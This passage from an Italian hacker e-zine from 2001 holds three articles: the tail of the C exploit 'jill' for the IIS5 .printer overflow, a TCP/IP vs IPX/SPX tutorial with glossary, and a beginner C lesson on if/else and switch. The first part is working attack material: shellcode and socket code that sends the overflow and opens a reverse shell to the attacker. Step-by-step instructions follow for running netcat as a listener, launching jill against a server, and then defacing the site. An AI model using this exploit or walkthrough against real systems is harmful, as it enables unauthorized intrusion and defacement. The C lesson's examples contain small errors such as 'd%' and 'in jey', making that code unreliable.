| "\\x09\\xff\\x95\\xc3\\xc5\\xc0\\x6a\\xe2\\x8d\\x6a\\xc2\\x41\\xff\\xa7\\x6a\\xc2\\x49\\x7e"    |\
| "\\x1f\\xc6\\x6a\\xc2\\x65\\xff\\x95\\x6a\\xc2\\x75\\xa6\\x55\\x39\\x10\\x55\\xe0\\x6c\\xc4"    |\
| "\\xc7\\xc3\\xc6\\x6a\\x47\\xcf\\xcc\\x3e\\x77\\x7b\\x56\\xd2\\xf0\\xe1\\xc5\\xe7\\xfa\\xf6"    |\
| "\\xd4\\xf1\\xf1\\xe7\\xf0\\xe6\\xe6\\x95\\xd9\\xfa\\xf4\\xf1\\xd9\\xfc\\xf7\\xe7\\xf4\\xe7"    |\
| "\\xec\\xd4\\x95\\xd6\\xe7\\xf0\\xf4\\xe1\\xf0\\xc5\\xfc\\xe5\\xf0\\x95\\xd2\\xf0\\xe1\\xc6"    |\
| "\\xe1\\xf4\\xe7\\xe1\\xe0\\xe5\\xdc\\xfb\\xf3\\xfa\\xd4\\x95\\xd6\\xe7\\xf0\\xf4\\xe1\\xf0"    |\
| "\\xc5\\xe7\\xfa\\xf6\\xf0\\xe6\\xe6\\xd4\\x95\\xc5\\xf0\\xf0\\xfe\\xdb\\xf4\\xf8\\xf0\\xf1"    |\
| "\\xc5\\xfc\\xe5\\xf0\\x95\\xd2\\xf9\\xfa\\xf7\\xf4\\xf9\\xd4\\xf9\\xf9\\xfa\\xf6\\x95\\xc2"    |\
| "\\xe7\\xfc\\xe1\\xf0\\xd3\\xfc\\xf9\\xf0\\x95\\xc7\\xf0\\xf4\\xf1\\xd3\\xfc\\xf9\\xf0\\x95"    |\
| "\\xc6\\xf9\\xf0\\xf0\\xe5\\x95\\xd0\\xed\\xfc\\xe1\\xc5\\xe7\\xfa\\xf6\\xf0\\xe6\\xe6\\x95"    |\
| "\\xd6\\xf9\\xfa\\xe6\\xf0\\xdd\\xf4\\xfb\\xf1\\xf9\\xf0\\x95\\xc2\\xc6\\xda\\xd6\\xde\\xa6"    |\
| "\\xa7\\x95\\xc2\\xc6\\xd4\\xc6\\xe1\\xf4\\xe7\\xe1\\xe0\\xe5\\x95\\xe6\\xfa\\xf6\\xfe\\xf0"    |\
| "\\xe1\\x95\\xf6\\xf9\\xfa\\xe6\\xf0\\xe6\\xfa\\xf6\\xfe\\xf0\\xe1\\x95\\xf6\\xfa\\xfb\\xfb"    |\
| "\\xf0\\xf6\\xe1\\x95\\xe6\\xf0\\xfb\\xf1\\x95\\xe7\\xf0\\xf6\\xe3\\x95\\xf6\\xf8\\xf1\\xbb"    |\
| "\\xf0\\xed\\xf0\\x95\\x0d\\x0a\\x48\\x6f\\x73\\x74\\x3a\\x20\\x90\\x90\\x90\\x90\\x90\\x90"    |\
| "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"    |\
| "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"    |\
| "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"    |\
| "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"    |\
| "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"    |\
| "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"    |\
| "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"    |\
| "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"    |\
| "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"    |\
| "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"    |\
| "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"    |\
| "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"    |\
| "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"    |\
| "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"    |\
| "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"    |\
| "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"    |\
| "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"    |\
| "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x33"    |\
| "\\xc0\\xb0\\x90\\x03\\xd8\\x8b\\x03\\x8b\\x40\\x60\\x33\\xdb\\xb3\\x24\\x03\\xc3\\xff\\xe0"    |\
| "\\xeb\\xb9\\x90\\x90\\x05\\x31\\x8c\\x6a\\x0d\\x0a\\x0d\\x0a";                           |\
|                                                                               |\
|         int                     s;                                            |\
|         unsigned short int      a_port;                                       |\
|         unsigned long           a_host;                                       |\
|         struct hostent          *ht;                                          |\
|         struct sockaddr_in      sin;                                          |\
|                                                                               |\
|         printf("iis5 remote .printer overflow.\\n"                             |\
|                 "dark spyrit <dspyrit@beavuh.org> / beavuh labs.\\n");         |\
|                                                                               |\
| if (argc != 5)\{                                                               |\
|         printf("usage: %s <victimHost> <victimPort> <attackerHost>            |\
| <attackerPort>\\n",argv[0]);                                                   |\
|         exit(1);                                                              |\
|         \}                                                                     |\
|                                                                               |\
|         if ((ht = gethostbyname(argv[1])) == 0)\{                              |\
|                 herror(argv[1]);                                              |\
|                 exit(1);                                                      |\
|         \}                                                                     |\
|                                                                               |\
|         sin.sin_port = htons(atoi(argv[2]));                                  |\
|         a_port = htons(atoi(argv[4]));                                        |\
|         a_port^=0x9595;                                                       |\
|                                                                               |\
|         sin.sin_family = AF_INET;                                             |\
|         sin.sin_addr = *((struct in_addr *)ht->h_addr);                       |\
|                                                                               |\
|         if ((ht = gethostbyname(argv[3])) == 0)\{                              |\
|                 herror(argv[3]);                                              |\
|                 exit(1);                                                      |\
|         \}                                                                     |\
|                                                                               |\
|         a_host = *((unsigned long *)ht->h_addr);                              |\
|         a_host^=0x95959595;                                                   |\
|                                                                               |\
|         sploit[441]= (a_port) & 0xff;                                         |\
|         sploit[442]= (a_port >> 8) & 0xff;                                    |\
|                                                                               |\
|         sploit[446]= (a_host) & 0xff;                                         |\
|         sploit[447]= (a_host >> 8) & 0xff;                                    |\
|         sploit[448]= (a_host >> 16) & 0xff;                                   |\
|         sploit[449]= (a_host >> 24) & 0xff;                                   |\
|                                                                               |\
|         if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)\{                     |\
|                 perror("socket");                                             |\
|                 exit(1);                                                      |\
|         \}                                                                     |\
|                                                                               |\
|         printf("\\nconnecting... \\n");                                         |\
|                                                                               |\
|         if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1)\{       |\
|                 perror("connect");                                            |\
|                 exit(1);                                                      |\
|         \}                                                                     |\
|                                                                               |\
|         write(s, sploit, strlen(sploit));                                     |\
|         sleep (1);                                                            |\
|         close (s);                                                            |\
|                                                                               |\
|         printf("sent... \\nyou may need to send a carriage on your listener    |\
| if the shell doesn't appear.\\nhave fun!\\n");                                  |\
|         exit(0);                                                              |\
| \}                                                                             |\
| .:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:. |\
|                                                                               |\
| :Terzo punto:                                                                 |\
| Vai nella prima shell ed entra nella directory dove hai scaricato il file     |\
| nc110.tgz. Scrivi:                                                            |\
| 'su' (senza apici ovviamente) e loggati come root, ora scrivi: 'tar xvzf      |\
| nc110.tgz' quindi                                                             |\
| il file sar\'e0 decompresso in una directory chiamata: 'nc110', entraci e        |\
| scrivi:                                                                       |\
| 'make generic', questo fa si che si crei il file 'nc', ovvero il programma    |\
| eseguibile di                                                                 |\
| net cat.                                                                      |\
|                                                                               |\
| :Quarto punto:                                                                |\
| Ora, sempre nella prima shell, digita: './nc -l -p 10000 -vv' e premi invio   |\
| (ovviamente ;)).                                                              |\
| Questo fa si che net cat si metta in ascolto sulla porta 10000 del pc sul     |\
| quale lo stai                                                                 |\
| eseguendo da shell. Puoi usare qualsiasi porta non ancora in uso, ma ti       |\
| consiglio un bel                                                              |\
| numero tondo come faccio io (10000).                                          |\
|                                                                               |\
| :Quinto punto:                                                                |\
| Ora che hai net cat in ascolto sulla porta che hai scelto, vai nell'altra     |\
| shell, dove hai                                                               |\
| compilato il file jill.c in jill (eseguibile), e digita:                      |\
| './jill www.xxx.yyy 80 <ip della shell dove hai eseguito net cat> <porta      |\
| sulla quale c'\'e8 in                                                            |\
| ascolto net cat>.                                                             |\
| Un esempio pu\'f2 essere:                                                        |\
| ./jill www.xxx.yyy 80 154.34.98.121 10000. Capito? Spero di si!               |\
| Ora premi invio e leggi cosa ti dice.                                         |\
|                                                                               |\
| :Sesto punto:                                                                 |\
| Dovrebbe mostrarti una frase del tipo:                                        |\
| 'you may need to send a carriage on your listener if the shell doesn't        |\
| appear.                                                                       |\
| have fun!'                                                                    |\
| Nel caso che il server (www.xxx.yyy) sia vulnerabile a jill, apparir\'e0 una     |\
| scritta tipo:                                                                 |\
| 'c:\\winnt\\system32' nella shell dove hai messo in ascolto net cat sulla       |\
| porta 10000.                                                                  |\
| Ora hai pieni poteri sul server che hai appena hakkato. Usa quindi i comandi  |\
| che useresti in                                                               |\
| dos (dir, rm, echo, del, ect....) per fare quello che vuoi del sistema, per   |\
| esempio un bel                                                                |\
| deface, \'e8 solo trovare la directory home del sito.                            |\
| Nel caso che il server non sia vulnerabile a jill, non apparir\'e0 niente nella  |\
| shell di net                                                                  |\
| cat, quindi: RiTENTA, SARAi PiU' FORTUNATO!!! ;)                              |\
| ----------------------------------------------------------------------------- |\
|                                                                               |\
|                                                                               |\
| cat Saluti.txt                                                                |\
| ----------------------------------------------------------------------------- |\
| Un GRAZIE va a Linus Torvalds: se non esistessi, bisognerebbe inventarti.     |\
| Un saluto va a tutta la redazione di OndaQuadra, specialmente a Tritemius x   |\
| il supporto;                                                                  |\
| tutto il New-[world]-Bie Team; la BlackSun (Mikkkeee sei grande); tutta la    |\
| Tank Commandos                                                                |\
| Crew, specialmente SpiDEr2K, SPYR0, Screener_it, kEwL` e BiGAlex; agli amici  |\
| di #crack-it                                                                  |\
| e a tutti gli assidui frequentatori di #chihackerare e di #hackmaniaci.       |\
| ----------------------------------------------------------------------------- |\
|                                                                               |\
|                                                                               |\
| -EoF-                                                                         |\
|                                                                               |\
|                                                                               |\
| Per ogni ulteriore informazione, chiarimento o dubbio potete contattarmi via  |\
| e-mail o su irc.                                                              |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [NETW0RKiNG]                                    #04 - 19/11/2001 |\
| i PR0T0C0LLi Di RETE TCP/IP - IPX/SPX                     [shnyper] 0x0C/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| Ho deciso di scrivere questo tute in quanto in molti si sentono Dio perch\'e8    |\
| sanno usare una backdoor o smurfare qualche sfigato su Irc..ma alla fine non  |\
| sa neanche come funzionano i protocolli di rete..!                            |\
|                                                                               |\
| Il funzionamento di una rete si basa sui protocolli, cio\'e8 sulle regole che    |\
| permettono di gestire i dati in modo efficace ed affidabile.                  |\
| Anche se "trasparenti" all'utente, la loro architettura \'e8 uno degli elementi  |\
| pi\'f9 importanti per pianificare e realizzare reti dalle LAN alle WAN.          |\
| Esistono protocolli proprietari (IBM SNA o Digital DECnet) e protocolli di    |\
| suite (Novell SPX/IPX o TCP/IP).                                              |\
|                                                                               |\
| Il sogno della rete semplice con un sinogo protocollo, si \'e8 comunque          |\
| dimostrato irrealizzabile nella pratica. NElla maggior parte di aziende con   |\
| una decina di host in rete, possono essere presenti anche vari sistemi        |\
| operativi per PC e il sistema operativo di rete diventa cos\'ec una specie di    |\
| evoluzione. Pi\'f9 le reti sono eterogenee(diversi OS) e pi\'f9 la realizzazione    |\
| di collegamenti e la gestione sistemistica si fa difficile.Internet complica  |\
| ulteriormente, infatti per ogni PC che sfrutta un browser va installato una   |\
| suite TCP/IP con IPX.                                                         |\
|                                                                               |\
| Come altri tipi di protocolli, anche SPX/IPX non \'e8 un unico protocollo ma     |\
| una suite di procedure standard per la connessione dei computer.              |\
| Ciascun gruppo di protocolli formatta un messaggio, o pacchetto, con          |\
| particolari caratteristice di indirizzamento, ricezione ed instradamento.     |\
| Frequentemente questi pacchetti vengono incapsulati l'uno nell'altro per tre  |\
| o quattro livelli, ognuno con specifica funzione. (V.di incaps.jpg in         |\
| allegato)                                                                     |\
|                                                                               |\
| Il protocollo IPX \'e8 responsabile dell'indirizzamento dei pacchetti fra i      |\
| nodi della rete ma non si preoccupa del loro stato o della ricezione!         |\
| Il protocollo invece che invia al mittente una sorta di di ricevuta per i     |\
| dati che arrivano a destinazione, \'e8 l'SPX.                                    |\
| Questo protocollo quindi, come potete immaginare, pu\'f2 essere usato dalle      |\
| applicazioni che necessitano di una garanzia di consegna, come per i          |\
| trasferimenti dei file in rete, anche se la maggior parte delle               |\
| applicazioni, soprattutto quelle che gestiscono autonomamente il              |\
| monitoraggio della comunicazione, utilizza IPX perch\'e8 pi\'f9 efficiente e        |\
| perch\'e8 richiede minor overhead.                                               |\
|                                                                               |\
| L'IPX \'e8 particolarmente adatto al trasferimento di piccoli pacchetti di dati  |\
| ( c.ca 512 byte), come quelli per le applicazioni winzoz. Questi pacchetti    |\
| per\'f2 non sono indicati per le reti a livello nazionale perch\'e8 , utilizzando   |\
| connessioni pi\'f9 lente e costose, sovraccaricherebbero la rete.                |\
|                                                                               |\
| Fino alla fine '94 i prodotti di rete Micro$oft utilizzavano il NetBios per   |\
| trasferimento dati tra schede LAN. Ma..anche se molto veloce nelle piccole    |\
| reti, i suoi pacchetti non contenevano informazioni sufficienti per l'uscita  |\
| dalle LAN. Cos\'ec le ultime versioni di winzoz NT si basano                     |\
| sull'implementazione Micro$oft di Novell IPX, utilizzato come protocollo di   |\
| rete principale.                                                              |\
| Attualmente Micro$oft e Novell usano IP come protocollo predefinito, ma       |\
| IPXviene ancora utilizzato in molte LAN attive.                               |\
|                                                                               |\
| I protocolli TCP/IP sono uno standard aperto sviluppato dal dipartimento      |\
| della difesa degli USA per collegare migliaia di host diversi. Venne          |\
| sviluppato un gruppo standard di protocolli non proprietari allo scopo di     |\
| consentire la comunicazione anche tra host delle WAN di grandi dimensioni.    |\
| Come IPX/SPX , anche TCP/IP \'e8 una suite realizzata per controllare i servizi  |\
| di comunicazione, ma adotta in pi\'f9 la capacit\'e0 di far comunicare computer     |\
| diversi in ua rete totalmente eterogenea!                                     |\
|                                                                               |\
| La parte IP del TCP/IP si occupa dell'indirizzamento dei pacchetti tra i      |\
| nodi della rete. IP fornisce il meccanismo di consegna per l'invio e la       |\
| ricezione dei dati e, come IPX, non \'e8 in grado di garantire la consegna.      |\
| Un vantaggio dell'IP \'e8 la possibilit\'e0 di trasferire in modo sicuro ( pi\'f9 o    |\
| meno... ;) ) grossi blocchi di dati da una rete all'altra.                    |\
| Un pacchetto pu\'f2 contenere fino a 65.535 byte (di 8 bit), quindi 100 volte    |\
| di pi\'f9 di IPX.                                                                |\
|                                                                               |\
| I pacchetti IP sono incapsulati nei pacchetti TCP che forniscono i servizi    |\
| per le informazioni di connessione. A differenza di IP, il TCP garantisce     |\
| anche la consegna dei pacchetti e, a differenza di SPX, TCP viene             |\
| utilizzatodalla maggior parte delle applicazioni TCP/IP, perch\'e8 pesato per    |\
| connessioni poco affidabili. ;)                                               |\
|                                                                               |\
| TCP aumenta l'efficienza della trasmissione con il windowing, che consente    |\
| di continuare ad inviare pacchetti mentre si attendono le ricevute di         |\
| consegna di quelli gia inviati, funzionalit\'e0 detta anche packet burst.        |\
| Il vantaggio di TCP/IP \'e8 la possibilit\'e0 di collegare milioni di computer in   |\
| una rete globale, quale internet.                                             |\
|                                                                               |\
| Diversamente da IPS/SPX, che utilizano una tecnica di broadcast per tener     |\
| traccia di tutti gli host e di tutti i servizi presenti, la versione 4 di IP  |\
| (IPv4, la attuale) si basa su una serie di indirizzi univoci di 32 bit (es.   |\
| 151.23.132.43 , 4 ottetti di 8 bit l'uno).                                    |\
| Ciascun nodo della rete possiede un indirizzo univoco.                        |\
|                                                                               |\
| In pratica IPX/SPX \'e8 l'ideale per le LAN a breve distanza in quanto i         |\
| pacchetti sono piccoli e di formato adatto al traffico veloce delle reti      |\
| locali. Per il resto \'e8 adottato TCP/IP.                                       |\
|                                                                               |\
| La caratteristica pi\'f9 interessante del TCP/IP \'e8 la possibilit\'e0 di connettere  |\
| qualunque sistema per formare un insieme unico.                               |\
|                                                                               |\
| Per ora mi fermo qui. Alla prossima. Ciauz.                                   |\
|                                                                               |\
|                                                                               |\
|                 <==<*>==> GLOSSARIO <==<*>==>                                 |\
|                  termini inerenti al tutorial                                 |\
|                                                                               |\
| ACK=>Carattere di controllo che indica acknowledgement e che viene scambiato  |\
| fra le componenti del sistema quando i dati sono stai ricevuti senza errori.  |\
|                                                                               |\
| ARP=>Un protocollo TCP/IP utilizzato per ottenere un indirizzo fisico di un   |\
| nodo quando si conosce solo il suo indirizzo IP logico. Praticamente mappa    |\
| gli indirizzi IP su quelli EThernet.                                          |\
|                                                                               |\
| BIND=> Berkley Internet Name Domain \'e8 l'implementazione del famoso DNS.       |\
| Segue lo stile di indirizzamento "nome@dominio". Il processo DNS/BIND         |\
| collega il nome, leggibile dall'uomo, ad un indirizzo IP. LEga i due come     |\
| parte di un intero stack.                                                     |\
|                                                                               |\
| BROADCAST=>Impiegato per inviare un messaggio a tutte le stazioni o ad        |\
| un'intera classe di stazioni connesse alla rete.                              |\
|                                                                               |\
| BUFFER=>Spazio di memoria temporaneo dove vengono memorizzati i datinel       |\
| momento in cui si ricevono, prima o dopo la trasmissione. Compensa le         |\
| differenze di velocit\'e0 tra trasmissione e elaborazione.                       |\
|                                                                               |\
| INTERNET=>Insieme di reti e gateway che include ARPAnet, MILnet e NSFnet e    |\
| che adotta il TCP/IP.                                                         |\
|                                                                               |\
| INTRANET=>Rete basata su IPche serve una organizzazione e i suoi partner      |\
| commerciali.                                                                  |\
|                                                                               |\
| LATENZA=>(lag) Ritardo nel passaggio dei pacchetti.                           |\
|                                                                               |\
| MODEM=>(MOdulatore/DEModulatore) Dispositivo che effettua la traduzione fra   |\
| i segnali elettrici e alcuni altri mezzi/supporti di segnalazione.Ci\'f2         |\
| avviene tra segnali a corrente diretta, i PC, e analogici, le linee           |\
| telefoniche.                                                                  |\
|                                                                               |\
| NODO=>Connessione o punto di commutazione sulla rete.                         |\
|                                                                               |\
| PACCHETTO=> Blocco di dati inviato sulla rete che trasmette le identit\'e0       |\
| delle stazioni mittente e destinatarie, le info sul controllo degli errori e  |\
| il messaggio.                                                                 |\
|                                                                               |\
| PPP=>Protocollo che abilita l'utente alla connessione diretta ad internet,    |\
| utilizzando una linea telefonica tradizionale e un modem ad alta velocit\'e0.    |\
|                                                                               |\
| ROUTER=>Dispositivo di interconnessione simile ad un bridge che serve         |\
| pacchetti o frame contenenti determinati protocolli.                          |\
|                                                                               |\
| SERVER PROXY=>Tipo di firewall che si interfaccia con Internet mediante un    |\
| sngolo indirizzo per conto di una area intranet.                              |\
|                                                                               |\
| SERVER=>Computer dotato di alimentazione e capacit\'e0 notevoli, e che realizzi  |\
| servizi di file, stampa o comunicazioni dispnibili alle altre stazioni della  |\
| rete.                                                                         |\
|                                                                               |\
| TCP=>Specifica per il software che impacchetta e spacchetta i dati            |\
| inviati/ricevuti, gestisc ela trasmissione dei pacchetti sulla rete e         |\
| controlla gli errori.                                                         |\
|                                                                               |\
| TCP/IP=>Insieme di protocolli che si evolve alla fine anni '70 tramite        |\
| DoD(department of defense)                                                    |\
|                                                                               |\
| TELNET=>Protocollo di emulazione del terminale. Il software che lo supporta   |\
| viene solitamente incluso come funzione in un pacchetto TCP/IP, e tutti i     |\
| prog di telnet forniscono l'emulazione del terminale DEC VT-100.              |\
|                                                                               |\
| WAN=>Tipo di rete che connette i computer su una estensione potenzialmente    |\
| planetaria.                                                                   |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [C0DiNG]                                        #04 - 19/11/2001 |\
| C0RS0 Di C [PARTE TERZA]                                   [JEYoNE] 0x0D/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
|Ciao a tutti, si riparte con il terzo episodio di questa saga, il corso di C   |\
|di JEYoNE.                                                                     |\
|Non perdiamo tempo con le stronzate e cominciamo subito a spiegare, o meglio a |\
|riassumere dove eravamo arrivati la volta scorsa:                              |\
|Se non sbaglio nello scorso numero abbiamo visto il #DEFINE e il loop for, ci  |\
|sono domande? Tutto chiaro? Ok, allora andiamo avanti.                         |\
|Oggi andiamo a vedere il costrutto IF cha ha la seguente forma:                |\
|                                                                               |\
|           if (condizione) istruzione;                                         |\
|                                                                               |\
|La condizione \'e8 un'espressione che pu\'f2 essere vera o falsa,come gi\'e0 detto per  |\
|il FOR x es.: (jey<100).                                                       |\
|IF in inglese significa "se", quindi in poche parole il costrutto if determina |\
|la condizione in questo modo: "Se la condizione \'e8 vera,esegui l'istruzione, se |\
|\'e8 falsa non eseguirla."                                                        |\
|Le istruzioni vengono eseguite se il valore, una volta valutato, non risulti 0.|\
|Quindi un if(0) non far\'e0 mai eseguire un'istruzione,mentre un if(1) la farebbe |\
|eseguire sempre,quindi risulterebbe inutile un if che esegue sempre (o mai)    |\
|un'istruzione.                                                                 |\
|Il primo esempio di questa lezione \'e8 un piccolo programma che stampa un        |\
|messaggio soltanto se la variabile \'e8 maggiore di 10.                           |\
|                                                                               |\
|#include<stdio.h>                                                              |\
|                                                                               |\
|main()                                                                         |\
|\{                                                                              |\
|                                                                               |\
|     int jey;    /* variabile intera che servir\'e0 per il costrutto if */        |\
|                                                                               |\
|     printf("Inserisci il valore di jey\\n");                                   |\
|     scanf("d%", &jey);                                                        |\
|     if (jey>10) printf("\\njey \'e8 maggiore di 10\\n");                           |\
|\}                                                                              |\
|                                                                               |\
|In questo caso il printf ("jey \'e8 maggiore di 10") verr\'e0 eseguito soltanto se   |\
|la variabile jey \'e8 maggiore di 10, altrimenti il programma termina dopo        |\
|l'inserimento del valore di jey.                                               |\
|                                                                               |\
|Con quest'altro esempio possiamo decidere se eseguire o meno dei pezzi di      |\
|programma.                                                                     |\
|                                                                               |\
|#include<stdio.h>                                                              |\
|                                                                               |\
|main()                                                                         |\
|\{                                                                              |\
|     int jey;                                                                  |\
|                                                                               |\
|     printf("Inserisci il valore di jey\\n");                                   |\
|     scanf("d%", &jey);                                                        |\
|     if (jey>10)                                                               |\
|     \{                                                                         |\
|           printf("jey \'e8 maggiore di 10\\n");                                   |\
|           printf("e ti dir\'f2 di pi\'f9, jey vale %d",jey);                        |\
|     \}                                                                         |\
|                                                                               |\
|\}                                                                              |\
|In questo caso tutti e due i printf verranno eseguiti soltanto se la variabile |\
|jey \'e8 maggiore di 10.                                                          |\
|                                                                               |\
|Visto il costrutto IF non possiamo fare a meno di vedere il suo ramo opzionale,|\
|chiamato ELSE.                                                                 |\
|La forma di ELSE, che essendo un ramo di IF andr\'e0 SEMPRE insieme a lui, \'e8:     |\
|                                                                               |\
|     if (condizione) istruzione;                                               |\
|     else seconda istruzione;                                                  |\
|                                                                               |\
|Il ramo ELSE fa eseguire una scelta, O si esegue la prima istruzione, O si     |\
|esegue la seconda. Se il valore di IF \'e8 giusto si eseguira la prima istruzione,|\
|altrimenti si eseguir\'e0 la seconda.                                             |\
|Chiaro?                                                                        |\
|Vediamo un esempio:                                                            |\
|                                                                               |\
|#include<stdio.h>                                                              |\
|                                                                               |\
|main()                                                                         |\
|\{                                                                              |\
|     in jey;                                                                   |\
|     printf("Inserisci il valore di jey\\n");                                   |\
|     scanf("d%", &jey);                                                        |\
|     if (jey>10)                                                               |\
|     \{                                                                         |\
|           printf("jey \'e8 maggiore di 10\\n");                                   |\
|           printf("e ti dir\'f2 di pi\'f9, jey vale %d",jey);                        |\
|     \}                                                                         | \
|     else                                                                      |\
|     \{                                                                         |\
|           printf("jey \'e8 minore o uguale a 10");                               |\
|           printf("infatti vale %d",jey);                                      |\
|     \}                                                                         |\
|\}                                                                              |\
|                                                                               |\
|Ora vediamo come inserire una condizione IF all'interno di un'altra condizione |\
|IF. Ovvero fissiamo pi\'f9 di una condizione per l'esecuzione delle istruzioni.   |\
|Esempio:                                                                       |\
|                                                                               |\
|     if (jey>10)\tab \tab \tab \tab \tab \tab \tab                           |\
|     \{                                                                         |\
|          if (jey<20)                                                          |\
|                 printf("Il valore di jey \'e8 compreso tra 10 e 19\\n");          |\
|     \}                                                                         |\
|     else                                                                      |\
|          printf("jey vale meno di 10");                                       |\
|                                                                               |\
|Qui che cosa succede: se jey \'e8 maggiore di 10 andremo a eseguire la seconda    |\
|condizione IF, e qui se jey \'e8 minore di 20 eseguiamo il printf ("Il valore di  |\
|jey \'e8 compreso tra 10 e 19"), altrimenti stampiamo il printf che dice che jey  |\
|vale meno di 10.                                                               |\
|Ma che cosa succeder\'e0 se il valore di jey \'e8 superiore a 20?                    |\
|Nulla, il programma uscir\'e0 senza dare alcuna risposta, visto che, come abbiamo |\
|detto prima, if/else fa eseguire O ci\'f2 che dice l'if, O ci\'f2 che dice l'else    |\
|e quindi non avendo un'alternativa il programma subir\'e0 un'uscita forzata. Bene |\
|Se si vuole far stampare un messaggio quando risulta falso il secondo if       |\
|bisogna mettere un altro else, vediamo :                                       |\
|                                                                               |\
|     if (jey>10)                                                               |\
|     \{                                                                         |\
|           if (jey<20)                                                         |\
|                printf("Il valore di jey \'e8 compreso tra 10 e 19\\n");           |\
|           else                                                                |\
|           printf("Il valore di jey supera il 20, infatti \'e8 d%",jey);          |\
|     \}                                                                         |\
|     else                                                                      | \
|           printf("jey vale meno di 10");                                      |\
|                                                                               |\
|Bene, ora andremo a vedere il costrutto SWITCH, che permette di fare dei test  |\
|multipli ad una variabile. Questo pu\'f2 tornare utile come alternativa a molti   |\
|if/else annidati.                                                              |\
|Vediamo la sua forma:                                                          |\
|                                                                               |\
|     switch(variabile)                                                         |\
|    \{                                                                          | \
|           case costante1:                                                     | \
|           istruzione1;                                                        |\
|           break;                                                              |\
|           case costante2:                                                     |\
|           istruzione2;                                                        |\
|           break;                                                              |\
|           case costante3:                                                     |\
|           istruzione3;                                                        |\
|           break;                                                              |\
|           default:                                                            |\
|           istruzione4;                                                        |\
|     \}                                                                         |\
|                                                                               |\
|In questo caso verranno eseguiti 3 confronti, se la variabile non dovesse      |\
|soddisfare nessuno dei tre confronti verr\'e0 eseguita l'istruzione di default.   |\
|I "break" servono per fermare il confronto qualora uno dei casi risultasse     |\
|vero, se non ci fossero verrebbero eseguiti inutilmente tutti gli altri.       |\
|A differenza dell'if/else, lo switch pu\'f2 verificare soltanto l'ugualianza di   |\
|una variabile, quindi pu\'f2 tornare utile per fare un men\'f9, per esempio, dove    |\
|ogni voce corrisponde ad un numero.                                            |\
|Vediamo:                                                                       |\
|                                                                               |\
|#include <stdio.h>                                                             |\
|                                                                               |\
|main()                                                                         |\
|\{                                                                              |\
|                                                                               |\
|     int lista;  /*Definiamo la variabile che servir\'e0 per lo switch*/          |\
|                                                                               |\
|     printf("\\n Scegli un gruppo per sapere che genere di musica suona:\\n");   |\
|     printf(" 1) Cypress Hill \\n");                                            |\
|     printf(" 2) Elio e le storie tese \\n");                                   |\
|     printf(" 3) 883 \\n");                                                     |\
|     printf(" 4) Pitura Freska \\n");                                           |\
|     scanf("%d", &lista);   /*Prendiamo il valore della variabile lista*/      |\
|     switch (lista)         /*e facciamone il confronto*/                      |\
|     \{                                                                         |\
|           case 1:                                                             |\
|                 printf("I Cypress Hill suonano RAP\\n");                       |\
|                 break;                                                        |\
|           case 2:                                                             |\
|                 printf("Elio e le storie tese suonano rock demenziale");      |\
|                 break;                                                        |\
|           case 3:                                                             |\
|                 printf("Gli 883 suonano? E ti sembra musica quella?");        |\
|                 break;                                                        | \
|           case 4:                                                             |\
|                 printf("I Pitura Freska suonano reggae/ska");                 |\
|                 break;                                                        |\
|           default:                                                            |\
|           printf("Nessun gruppo associato a questo numero");                  |\
|                                                                               |\
|     \}                                                                         |\
|\}                                                                              |\
|                                                                               |\
|Con questo abbiamo finito di parlare anche del costrutto switch, la prossima   |\
|volta vedremo come fare per scrivere un programma pi\'f9 "intelligente", cio\'e8 che |\
|non esce fino a quando non glie lo diciamo noi.                                |\
